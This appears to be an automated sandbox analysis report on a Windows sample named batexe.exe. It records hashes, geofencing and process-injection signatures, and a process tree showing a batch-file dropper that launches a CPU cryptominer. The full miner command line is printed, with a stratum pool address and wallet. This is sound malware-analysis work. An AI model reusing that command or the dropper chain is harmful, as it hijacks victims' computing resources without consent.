Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
288s -
max time network
298s -
platform
windows10-2004_x64 -
resource
win10v2004-20240221-ja -
resource tags
arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows -
submitted
24/02/2024, 13:05
Behavioral task
behavioral1
Sample
batexe.exe
Resource
win10-20240221-ja
Behavioral task
behavioral2
Sample
batexe.exe
Resource
win10v2004-20240221-ja
General
-
Target
batexe.exe
-
Size
9.4MB
-
MD5
cdc9eacffc6d2bf43153815043064427
-
SHA1
d05101f265f6ea87e18793ab0071f5c99edf363f
-
SHA256
73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
-
SHA512
fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
-
SSDEEP
196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv
Malware Config
Signatures
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3316742141-2240921845-2885234760-1000\Control Panel\International\Geo\Nation batexe.exe Key value queried \REGISTRY\USER\S-1-5-21-3316742141-2240921845-2885234760-1000\Control Panel\International\Geo\Nation b2e.exe -
Executes dropped EXE 2 IoCs
pid Process 4932 b2e.exe 3708 cpuminer-sse2.exe -
Loads dropped DLL 5 IoCs
pid Process 3708 cpuminer-sse2.exe 3708 cpuminer-sse2.exe 3708 cpuminer-sse2.exe 3708 cpuminer-sse2.exe 3708 cpuminer-sse2.exe -
resource yara_rule behavioral2/memory/2796-8-0x0000000000400000-0x000000000393A000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 2796 wrote to memory of 4932 2796 batexe.exe 89 PID 2796 wrote to memory of 4932 2796 batexe.exe 89 PID 2796 wrote to memory of 4932 2796 batexe.exe 89 PID 4932 wrote to memory of 388 4932 b2e.exe 90 PID 4932 wrote to memory of 388 4932 b2e.exe 90 PID 4932 wrote to memory of 388 4932 b2e.exe 90 PID 388 wrote to memory of 3708 388 cmd.exe 93 PID 388 wrote to memory of 3708 388 cmd.exe 93
Processes
-
C:\Users\Admin\AppData\Local\Temp\batexe.exe"C:\Users\Admin\AppData\Local\Temp\batexe.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2796 -
C:\Users\Admin\AppData\Local\Temp\8F4F.tmp\b2e.exe"C:\Users\Admin\AppData\Local\Temp\8F4F.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\8F4F.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4932 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\9923.tmp\batchfile.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:388 -
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.execpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 34⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3708
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
32.3MB
MD5815a883bcb34c1016d80990f97c19602
SHA1104de740a60af54c93f52a2a9364becef046ca83
SHA25619b76c71a211b8eb61fa4cf183fa63d2deebe1a44096c171fad8e45b238c74e3
SHA51274fc09a8a12d7f458d73fbca734c6366665d0b15a54f20c89d405f11585e168ff43c47e52cc77059c4aad33fd7b6aef394a4c7e974555d2a87428aaf2dcf0dab
-
Filesize
3.8MB
MD58782954c8b6aac082ecc8b96cb0fa380
SHA12fe2dfb712df083d04ef662151f7a323078cdbaf
SHA256472a521487323090d233b2931089d485be932bb7b1df7cc096c8b498ff04a73b
SHA512d8a809cff6a7fa2b0762724eabda592db73e20311c184937574671be8cdff033ed4b9886992aa225aa923449c5a5a7949bcd5194ac26972001b95349506beb31
-
Filesize
4.5MB
MD515fe3b622166db04c27b3fcb5ceffb24
SHA1a794100da106418811d553ba4bf0827f5db2a1ad
SHA2565607b3451e0f482583e6ecab18a8220ca3adda2ae9cf33d4de26b2ad52702343
SHA512a1568593ceba6c60da1fda21ae76e2c154db826f85163663a2aa02cd70ffd4dc1577060fe320bf0cf07bdf83945cd52a57f417fed60a730b7c2a38569404f2c4
-
Filesize
136B
MD58ea7ac72a10251ecfb42ef4a88bd330a
SHA1c30f6af73a42c0cc89bd20fe95f9159d6f0756c5
SHA25665e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9
SHA512a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0
-
Filesize
1.8MB
MD56a119a1a3238dd3b96b0ca27529e1cb2
SHA1d3ecdcfa3c3f70a0ce249e8210a4588b7a984d61
SHA256679770ac6b8817004acfacd8eaa3db50ce3fbd34f039d45872f588f0182c021b
SHA5120b4b49312889f2795399eb93f662a1af2a479890a2abc4f6279107b205f9fb674005d0c5280eac0a00c797eafda1b11f19b98f84c6edd385d6102e49e5496357
-
Filesize
384KB
MD5eb8ea4d2595402528f73410e2c8651ed
SHA123abb385032a9317d00c826eb21e0fe6fc802c50
SHA256fc3c5c1787c58c465ea47ab132afc59d209b1f7d319ae80a7913ed5c39157017
SHA5127f4485a662859bdec898bb4f9675c8a834ab570ae7f4df2b6e95a9f5ab45f8fba612d04f0edfe22dc4bdcd3011af0536ed200731262056cd7bec332ce4b18573
-
Filesize
192KB
MD58c933a591c8d0c1fec1da393587d09c9
SHA165f4672c0e0a6a20436fbaba57dac8c1a5fc5e51
SHA256c22ca427c0e65a0bb3e011afeba5244dd5a6e9c0327cfc7d15c4875083206b10
SHA51296b84267fd9b7c5587c74e30d5f647acabbf6b09feac19784de4e046619fcae78f2e6aa98eb7f06fe13197bfd9207b9044b09d5248480421ceb23cb01d511881
-
Filesize
320KB
MD5c911df8bf8c66277e14360319b0b93b7
SHA1598c59c0e7cbecb788ee676db218dc0faaa39bdc
SHA2564c53941f04ddeae2179047a1c7f8c7f7f46af0f08c424ab66d61f2316f2ee77d
SHA51213aeae87ee52f22d1c928c99c66e116254cde630c09f90b146962fa61276af13fef653b7a66184d00d614f0379750e641c2e62326ebb5588ca632e56c935d77c
-
Filesize
192KB
MD5d73b46cd072058efc54c4b3885f47e13
SHA184771c2c4f5736ac08497737cba2a8634d9e9178
SHA2563f62bb203bdcca4e489401897e0558cf33ad6fe890a9987f90f5c3894b965b34
SHA512519c91b5b5a82c5a755d7d4295c040cfb6b0f029eb088a6bfc428db11e30d7f954ea6fd6de9b083d1781e1142737ea39572866ab5f669848dff7ef0ce34c79c7
-
Filesize
192KB
MD562069650d62f76a4cdf0e81172d99993
SHA13b20ec5b4a4320ee15b0f7b9715a9ab90f68346e
SHA256779a5590c667d9a704b79e159259c0646737394fd66a9c0b12d13f9445ca091c
SHA512ae1954a84fb7543465e77a4cd5cc1bdeee0cf848592958633e6c51702b42131daae64c302d5c9537c59a9b3ba9498e5bf913d1f6f757ccdb8c4183b33224852b
-
Filesize
128KB
MD59746d1ac79c8b499d8b2224394581fa7
SHA136b1985eabfd8131ad9f2b7f69c903a3fce67629
SHA25677941fbe96e0c797e6cf5419ee32bd3fcee69629cba37750146656a660c37182
SHA51261a6174e2aced5b85cd614ad2f9d3da24c6b91e1fc04e10ff818222c4323cd043a59708bd35af0de84b004bf492fbc157d72907cd1e7ddf7082fc2a3563ef183
-
Filesize
384KB
MD5eec15153c344f43f1919cb379b9ee2f9
SHA13e4a09390ac885ea2797209603bcfa1ec6ff0cc6
SHA2564e4d7ecae87e8e656c61af89ef17146baf33fbf09ffbde6ae971d04e8e8f9222
SHA5127cdf3552341d14979838f8fedf9ac63482152f193ab8f7e0af281ec50b2a43312d78c0e22e79989818c5041538fa69769350e1e6cf0789a165be1eb11ee29908
-
Filesize
115KB
MD5e2e508b572df413734d3e9a7bb65ccd5
SHA1d41f207b7da438e5f9838318761e584b80f44e50
SHA2566a0d67e46881de18a7b01b0102f66aa7c7a1433888da350f2e4bf217e8b8cf0d
SHA5127f1858c386be4a26946451640654457d71bf12d6bf65031c5b8cf0dba4ddb75dd1afe4282a63300659628684f7a4b171d2e8b808189d865eec97a716d8261b2d